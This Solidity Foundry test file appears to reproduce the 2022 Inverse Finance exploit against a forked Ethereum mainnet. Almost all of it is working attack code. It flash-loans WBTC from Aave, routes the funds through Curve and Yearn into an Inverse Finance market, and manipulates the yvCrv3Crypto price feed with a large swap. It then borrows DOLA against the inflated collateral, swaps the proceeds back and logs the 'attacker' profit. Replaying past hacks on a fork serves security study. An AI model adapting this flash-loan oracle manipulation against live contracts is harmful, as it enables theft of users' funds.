src/test/2022-06/InverseFinance_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4 
5import "forge-std/Test.sol";
6import "./../interface.sol";
7 
8contract ContractTest is Test {
9    IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
10    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
11    USDT usdt = USDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
12    IERC20 DOLA = IERC20(0x865377367054516e17014CcdED1e7d814EDC9ce4);
13    ILendingPool aaveLendingPool = ILendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
14    VyperContract curveVyper_contract = VyperContract(0xD51a44d3FaE010294C616388b506AcdA1bfAAE46);
15    IERC20 crv3crypto = IERC20(0xc4AD29ba4B3c580e6D59105FFf484999997675Ff);
16    VyperContract yvCurve3Crypto = VyperContract(0xE537B5cc158EB71037D4125BDD7538421981E6AA);
17    VyperContract curveRegistry = VyperContract(0x8e764bE4288B842791989DB5b8ec067279829809);
18    VyperContract dola3pool3crv = VyperContract(0xAA5A67c256e27A5d80712c51971408db3370927D);
19    VyperContract curve3pool = VyperContract(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
20    CErc20Interface anYvCrv3CryptoInverse = CErc20Interface(0x1429a930ec3bcf5Aa32EF298ccc5aB09836EF587);
21    IUnitroller Unitroller = IUnitroller(0x4dCf7407AE5C07f8681e1659f626E114A7667339);
22    IAggregator YVCrv3CryptoFeed = IAggregator(0xE8b3bC58774857732C6C1147BFc9B9e5Fb6F427C);
23    CErc20Interface InverseFinanceDola = CErc20Interface(0x7Fcb7DAC61eE35b3D4a51117A7c58D53f0a8a670);
24    IERC20 crv3 = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
25    address[] assets = [0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599];
26    uint256[] amounts = [2_700_000_000_000];
27    uint256[] modes = [0];
28    uint256[3] amounts2 = [0, 22_500_000_000, 0];
29    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
30 
31    function setUp() public {
32        cheats.createSelectFork("mainnet", 14_972_418); // fork mainnet at block 14972418
33    }
34 
35    function testExploit() public {
36        aaveLendingPool.flashLoan(address(this), assets, amounts, modes, address(this), "0x", 0);
37        emit log_named_uint("After flashloan repaid, profit in WBTC of attacker:", WBTC.balanceOf(address(this)));
38    }
39 
40    function executeOperation(
41        address[] memory assets,
42        uint256[] memory amounts,
43        uint256[] memory premiums,
44        address initiator,
45        bytes memory params
46    ) public returns (bool) {
47        assets;
48        amounts;
49        premiums;
50        params;
51        initiator;
52 
53        WBTC.approve(address(curveVyper_contract), type(uint256).max);
54        WBTC.approve(address(curveRegistry), type(uint256).max);
55        usdt.approve(address(curveRegistry), type(uint256).max);
56        DOLA.approve(address(curveRegistry), type(uint256).max);
57        crv3crypto.approve(0xE537B5cc158EB71037D4125BDD7538421981E6AA, type(uint256).max);
58 
59        emit log_named_uint("Flashloaned, WBTC balance of attacker:", WBTC.balanceOf(address(this)) / 1e8);
60 
61        curveVyper_contract.add_liquidity(amounts2, 0);
62        emit log_named_uint("After add-liquidity, crv3crypto balance of attacker:", crv3crypto.balanceOf(address(this)));
63        emit log_named_uint("After add-liquidity, WBTC balance of attacker:", WBTC.balanceOf(address(this)) / 1e8);
64        yvCurve3Crypto.deposit(5_375_596_969_399_930_881_565, address(this));
65        emit log_named_uint(
66            "Deposited to Yearns Vault, yvCurve3 balance of attacker:", yvCurve3Crypto.balanceOf(address(this))
67        );
68        yvCurve3Crypto.approve(
69            0x1429a930ec3bcf5Aa32EF298ccc5aB09836EF587,
70            100_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000
71        );
72        anYvCrv3CryptoInverse.mint(4_906_754_677_503_974_414_310);
73        emit log_named_uint(
74            "Deposited to Inverse Yearn 3Crypto Vault, anYvCrv3Crypto balance of attacker:",
75            anYvCrv3CryptoInverse.balanceOf(address(this))
76        );
77        address[] memory toEnter = new address[](1);
78        toEnter[0] = 0x1429a930ec3bcf5Aa32EF298ccc5aB09836EF587;
79        Unitroller.enterMarkets(toEnter);
80 
81        emit log_named_int("YVCrv3CryptoFeed lastanswer:", YVCrv3CryptoFeed.latestAnswer());
82        emit log_named_uint("Before swap, USDT balance of attacker:", usdt.balanceOf(address(this)));
83        emit log_named_uint("Before swap, WBTC balance of CRV3Pool:", WBTC.balanceOf(address(curveVyper_contract)));
84        emit log_named_uint("Before swap, WETH balance of CRV3Pool:", WETH.balanceOf(address(curveVyper_contract)));
85        emit log_named_uint("Before swap, USDT balance of CRV3Pool:", usdt.balanceOf(address(curveVyper_contract)));
86        curveRegistry.exchange(
87            address(curveVyper_contract), address(WBTC), address(usdt), 2_677_500_000_000, 0, address(this)
88        );
89        emit log_named_uint("After swap, USDT balance of attacker:", usdt.balanceOf(address(this)));
90        emit log_named_uint("After swap, WBTC balance of CRV3Pool:", WBTC.balanceOf(address(curveVyper_contract)));
91        emit log_named_uint("After swap, WBTC balance of CRV3Pool:", WETH.balanceOf(address(curveVyper_contract)));
92        emit log_named_uint("After swap, USDT balance of CRV3Pool:", usdt.balanceOf(address(curveVyper_contract)));
93        emit log_named_int("Manipulated YVCrv3CryptoFeed lastanswer:", YVCrv3CryptoFeed.latestAnswer());
94        InverseFinanceDola.borrow(10_133_949_192_393_802_606_886_848);
95        emit log_named_uint("DOLA balance of attacker:", DOLA.balanceOf(address(this)));
96        curveRegistry.exchange(
97            address(curveVyper_contract), address(usdt), address(WBTC), 75_403_376_186_072, 0, address(this)
98        );
99        emit log_named_uint("After swap, WBTC balance of attacker:", WBTC.balanceOf(address(this)) / 1e8);
100        curveRegistry.exchange(
101            address(dola3pool3crv), address(DOLA), address(crv3), 10_133_949_192_393_802_606_886_848, 0, address(this)
102        );
103        emit log_named_uint("After swap,3crv balance of attacker:", crv3.balanceOf(address(this)));
104        curve3pool.remove_liquidity_one_coin(9_881_355_040_729_892_287_779_421, 2, 0);
105        emit log_named_uint("After swap, USDT balance of attacker:", usdt.balanceOf(address(this)));
106        curveRegistry.exchange(
107            address(curveVyper_contract), address(usdt), address(WBTC), 10_000_000_000_000, 0, address(this)
108        );
109        emit log_named_uint("After swap, WBTC balance of attacker:", WBTC.balanceOf(address(this)));
110        WBTC.approve(address(aaveLendingPool), 2_702_430_000_000);
111 
112        return true;
113    }
114 
115    receive() external payable {}
116}